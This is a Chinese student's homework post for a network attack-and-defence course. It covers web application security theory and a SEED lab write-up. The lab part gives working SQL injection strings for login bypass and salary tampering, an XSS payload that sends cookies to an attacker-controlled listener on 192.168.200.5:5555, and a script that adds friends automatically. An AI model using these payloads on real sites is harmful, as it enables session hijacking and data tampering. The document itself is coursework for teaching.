20199137 2019-2020-2 《网络攻防实践》第十一次作业

本次作业属于那个课程 《网络攻防实践》
这个作业要求在哪里 第十一次作业 Web应用程序安全攻防
作业正文 下述正文
其他参考文献 见文末

1.实践内容

Web应用程序体系结构及其安全威胁

Web应用体系结构

Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态。Web应用体系有浏览器作为客户端完成数据显示和展示内容的渲染;由功能强大的服务器完成主要业务的计算和处理,两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。服务器端由Web服务器软件、Web应用程序与后端数据库构成,并通过经典三层架构:表示层、业务逻辑层、数据层来进行组织与构建。

  • 浏览器:使用HTTP/HTTPS协议,HTML语言和web服务器进行交互,获取web服务器上的信息和应用服务。
  • Web服务器:web服务器软件通常被描述为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给web应用程序来执行,待web应用程序执行完逻辑并返回响应时,web服务器在将这个响应返回给web客户端,在浏览器上进行本地执行、渲染和展示。
  • web应用程序:处于服务端的业务逻辑是web应用的核心。
  • 数据库:是web应用存储数据的地方,数据层也作为web应用程序多级结构中的最后一层。

Web应用安全威胁

  • 针对浏览器和终端用户的Web浏览安全威胁,如网页木马,Phishing网站钓鱼
  • 针对传输网络的网络协议安全威胁
  • 系统层安全威胁
  • Web服务器软件安全威胁
  • Web应用程序安全威胁
  • Web数据安全威胁
    浏览器安全困境三要素:复杂性、可扩展性、连通性。
    浏览器安全威胁位置有:网络协议、浏览器端系统平台、插件、社会工程学。
    拒绝服务攻击:拒绝服务攻击就是想尽办法让你的服务器无法正常提供服务,具体手段包括:消耗包括网络带宽、存储空间、CPU 时间等资源;破坏或者更改配置信息;物理破坏或者改变网络部件;利用服务程序中的处理错误使服务失效。
    Web浏览器的渗透攻击威胁:网页木马
    (1)网页木马存在的技术基础:Web浏览端安全漏洞。
    (2)网页木马的本质核心——浏览器渗透攻击。
    (3)网页挂马机制,最主要的有如下四类策略:内嵌HTML标签、恶意Script脚本、内嵌对象连接、ARP欺骗挂马。
    (4)网页木马的检测与分析方法:基于特征码匹配的传统检测方法、基于统计与机器学习的静态分析方法、基于动态行为结果判定的检测分析方法、基于模拟浏 览器环境的动态分析检测方法、网页木马检测分析技术综合对比。
    网页挂马机制
    (1)内嵌HTML标签
    (2)恶意Script脚本
    (3)内嵌对象链接
    (4)ARP欺骗挂马
    系统层安全威胁
    (1)web站点的宿主操作系统存在的远程渗透攻击和本地渗透攻击威胁。
    (2)web服务器软件安全威胁
    (3)web服务器软件如IIS,Apache作为一种典型的网络服务,攻击者可以它们的漏洞对web服务器实施渗透攻击或者获取敏感信息。
    (4)web应用程序安全与威胁

Web应用安全攻防技术概述

Web应用的信息收集

  与系统和网络攻击类似,针对Web应用的攻击也需要首先进行信息情报的收集,对目标Web应用服务进行发现与剖析,标识出它的基本轮廓,具体包括服务器域名、IP地址和虚拟IP地址,Web服务器端口与其他开放服务,Web站点类型和版本,Web应用程序类型与版本,以及Web服务器和Web应用程序中存在的安全漏洞信息等。

  • 手工审查Web应用程序结构与源代码
  • 自动下载与镜像Web站点页面
  • 使用Google Hacking技术审查与探测Web应用程序
  • Web应用程序安全评估与漏洞探测

攻击Web服务器软件

Web服务器软件作为Web应用的层载体,也成为攻击者对Web应用实施攻击的首要目标之一。

  • 数据驱动的远程代码执行安全漏洞
  • 服务器功能扩展模块漏洞
  • 样本文件安全漏洞
  • 源代码泄露
  • 资源解析攻击

攻击Web应用程序

  在Web应用各个层次上,目前安全最薄弱的环节在于Web应用程序。在2004年发布的《WASC Web安全威胁分类v1.0》将Web应用程序安全威胁从攻击技术角度分为如下6类。
(1)针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等;
(2)授权机制的攻击:针对用来确认用户、服务或应用是否具有执行请求动作必须权限限制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等;
(3)客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等;
(4)命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI注入等;
(5)信息暴露:获取Web站点具体系统信息的攻击手段,包括目录枚举、信息泄露、路径遍历、资源位置可预测等;
(6)逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。
下图是在2010年最新发布的《WASC Web安全威胁分类v2.0》文档中安全威胁列举:

攻击Web数据内容

  • 安全敏感数据泄露
  • 网站篡改
  • 不良信息内容上传

Web应用安全防范措施

  • Web站点网络传输安全设防措施
    (1)尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护
    (2)通过加密的连接通道来官网Web站点,避免使用未经加密的telnet、FTP、HTTP来进行Web后台管理,而使用SSH、SFTP等安全协议。
    (3)对关键的Web服务器,设置静态绑定MAC-IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全检测,采用冗余等机制来应对拒绝服务攻击。
  • Web站点操作系统及服务安全设防措施
  • Web应用程序安全设防措施
  • Web站点数据安全设防措施

SQL注入

代码注入根据攻击目标的不同又分为:
1)恶意读取、修改与操纵数据库的SQL注入攻击;
2)在Web服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入攻击;
3)在Web服务器恶意执行操作系统命令的Shell注入攻击;
4)其他多种多样的注入攻击,如LDAP注入、邮件命令注入、空字节注入、SSI注入、XPath注入、XML注入、XQuery注入等。
5)在这多种类型的代码注入攻击中,SQL注入是目前最常见的,也是较为直观的一种攻击技术。

SQL注入攻击原理

  SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。这类被攻击的漏洞被称为SQL注入漏洞,是由于用于输入没有被正确地过滤以消除SQL语言中的字符串转义字符,如引号(')、双引号(")、反引号(`)、分号(;)、百分号(%)、井号(#)、双减号(--)、双下画线(__)等,或者没有进行严格的类型判断,如未判断输入参数是否合法整数类型等,从而使得用户可以输入并执行一些非预期的SQL指令代码。
  SQL注入攻击的原理是向Web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。

SQL注入攻击步骤和过程

  在攻击者真正对万维网的一些Web应用站点实施SQL注入攻击等,往往是按照如下的攻击步骤与过程。
(1)发现SQL注入点
(2)判断后台数据库类型

  • 利用数据库服务器的系统变量进行判断
  • 利用数据库服务器的系统变量进行判断
  • 利用数据库服务器的系统表进行判断
    (3)后台数据库中管理员用户口令字猜解
  • 猜解表名
  • 猜解字段名
  • 用户名与口令猜解
    (4)上传ASP后门,得到默认账户权限
    (5)本地权限上升
    (6)利用数据库扩展存储过程执行Shell命令

SQL注入攻击工具

国外工具:
  Wposion能够在动态Web文档中找出SQL注入漏洞;wieliekoek.pl能够以并以网站镜像工具生成的输出为输入,找出含有表单页面,允许在配置文件中对注入字符串进行修改,进行SQL注入漏洞探测;SPIKE Proxy工具允许使用则对待注入的字符串进行定制,并执行自动化的SQL注入测试;SPI Tooklit工具包中也包含一个名叫“SQL Injector”的自动化SQL注入测试工具。
国内工具:
  CSC、NBSI、HDSI、阿D注入工具、WED、Domain、Pangolin等

SQL注入攻击防范措施

(1)使用类型安全的参数编码机制
(2)凡是来自外部的用户输入,必须进行完备检查
(3)将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
(4)加强SQL数据库服务器的配置与连接

XSS跨站脚本攻击

XSS攻击的根源同样是Web应用程序对用户输入内容的安全验证与过滤不够完善,在许多流行的Web论坛、博客、留言本及其他允许用户交互的Web应用程序中,用户提交内容中可以包含HTML、JavaScript及其他脚本代码,而一旦Web应用程序没有对这些输入的合法性进行有效检查与过滤,就很有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。
 而与代码注入不同的是,XSS攻击的最终目标并非Web服务器,Web服务器上的应用程序在XSS攻击场景中发挥的角色是“帮凶”,而非“受害者”,真正的“受害者”则是访问这些Web服务器的其他用户。攻击者可以利用Web应用程序中的安全漏洞,在服务器端网页中插入一些恶意的客户端脚本代码,在Web服务器上产生一些恶意攻击页面。
XSS攻击类型:持久性XSS攻击和非持久性XSS攻击
XSS攻击步骤:
(1)攻击者构造出一个包含恶意脚本的bank.com登录请求链接,并通过Email/HTTP等方式将该攻击链接发送给其他bank.com网站用户;
(2)受害用户点击攻击链接后,将会把恶意链接中包含的恶意脚本当做用户名参数提交给bank.com的登录处理网页;
(3)由于bank.com登录处理页面存在XSS漏洞,将会在反馈的欢迎页面中包含恶意客户端脚本;
(4)攻击者的恶意客户端脚本在受害用户浏览器中执行,通常会驱动浏览器向攻击者发送会话令牌,如会话ID、Cookie信息等;
(5)攻击者获得用户会话令牌之后,就可以劫持用户会话,或者伪造用户登录bank.com,并可实施进一步攻击。

XSS攻击防范措施

  • 输入验证
  • 输出净化
  • 消除危险的输入点

实践

SEED SQL注入实验

访问www.SEEDLabSQLInjection.com查看实验所用的web应用程序, 该程序是一个简单的员工管理应用程序。完成下列任务:
1)对 SELECT 语句的攻击 (在不知道密码的情况下登录该应用程序)
2)对 UPDATE 语句的攻击 (在不知道密码的情况下修改某用户资料)
3)对抗 SQL 注入 ( 修复该web应用的SQL注入漏洞)
1)使用命令sudo service apache2 start 开启服务,使用 systemctl status apache2来查看是否成功启动

www.SEEDLabSQLInjection.com www.xsslabelgg.com可以进入web应用,进入后可以看到登录界面,我们可以随便输入一个用户名及密码(错误没有关系),ctrl+F12查看表单提交情况,可以看到进行校验的是unsafe_home.php (不知道为什么表单提交情况总是闪,要定半天才能辨认出是什么)

接着我们进入文件var-www-SQLInjection-unsafe_home.php,可以看到用户名和密码


于是我们可以用admin进行登录,但是如果我们输入Admin'#,就可以让SQL语句提前结束,而不进行密码校验,#就是将密码校验的部分注释掉了。然后我们可以成功不用输密码进入系统,可以看到成功的看到了用户信息。

2)在unsafe_edit_backend.php 中找到了处理update语句的地方,可以发现,员工是没有权限进行修改salary的

由上一步攻击得知除admin之外的用户还有Alice、Boby、Ryan等,我们可以输入Boby'#。登陆成功后,可以看到salary为30000,生日是4/20等信息

击edit profile修改信息,已知update时正确的处理语句为 UPDATE credential SET nickname='(input_nickname',email=')input_email',address='(input_address', Password=')hashed_pwd', PhoneNumber='(input_phonenumber' WHERE ID=)id
如果我们在nickname字段输入',salary='10000000' where Name='Boby'; #
则可以把update语句改为UPDATE credential SET nickname='',salary='10000000' where Name='Boby';,后面的都由#注释掉了,然后我们保存一下可以看到,哇,我们让Boby变成了一个月入千万的有钱人!

3)SQL 注入漏洞的根本原因是没有将代码和数据区分开。当组建一个 SQL 语句时,程序知道哪个部分是代码哪个部分是数据。不幸的是当 SQL 语句送往数据库执行时,这个边界被打破,当程序被注入时,SQL 解释器看到的边界可能和最初的边界不一样。

SEED XSS攻击实验

1)通过弹窗显示恶意信息
2)在消息窗口中显示 Cookie
3)窃取受害主机的 Cookie
4)使用窃取的Cookies进行会话劫持
1)我们可以再more里面看到原有的用户信息

任务的目标是在Elgg user profile中嵌入JavaScript程序,因此当另一个用户查看你的个人资料(profile)时,JavaScript程序将会执行并且显示一个警告窗口。下面的JavaScript:<script>alert('XSS');</script>
如果Alice将上面的JavaScript代码插入自己的profile(比如在the Brief desription域中),然后使用Boby登录并查看Alice的profile,则将会看到警告窗口。
我们首先登录Alice,密码是seedalice,然后在Brief description域中添加JavaScript代码并保存

然后保存会出现弹窗警告

2)同上一步原理相似,只是将description改为<script> alert(document.cookie);</script>

保存一下,可以看到显示出cookie

3)我们将嵌入的嵌入的Javascript代码改为
<script>document.write('<img src=http://192.168.200.5:5555?c=' + escape(document.cookie) + ' >');</script>

然后我们在控制面板执行nc -l 5555 -v命令,去监听5555端口,可以看出cookie

4)首先来尝试添加好友,判断该web是如何发送HTTP请求的,F12查看详情。可以发现添加好友时需要当前用户的cookies、__elgg_token、__elgg_ts、用户id(被添加的)(这些信息因为我的表单信息闪的不行没法截图了)
那么如果要自动添加好友,我们至少需要以上信息,其他信息保持原样即可。
构造url访问,Javascript代码如下:

	window.onload = function () {
  var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  Ajax.send();
} 
</script>

将上述代码放在Alice的about me中


然后我们登录Boby,去查看Alice,添加好友成功

遇到的问题及解决方法

-第一个实验的时候查看表单提交情况总是chuachua的闪,亮瞎我的眼
-未解决,只能一直盯着去仔细辨认

参考文献

张柁苧大佬的博客
课本

原文地址:https://www.cnblogs.com/xiaoming319/p/12859916.html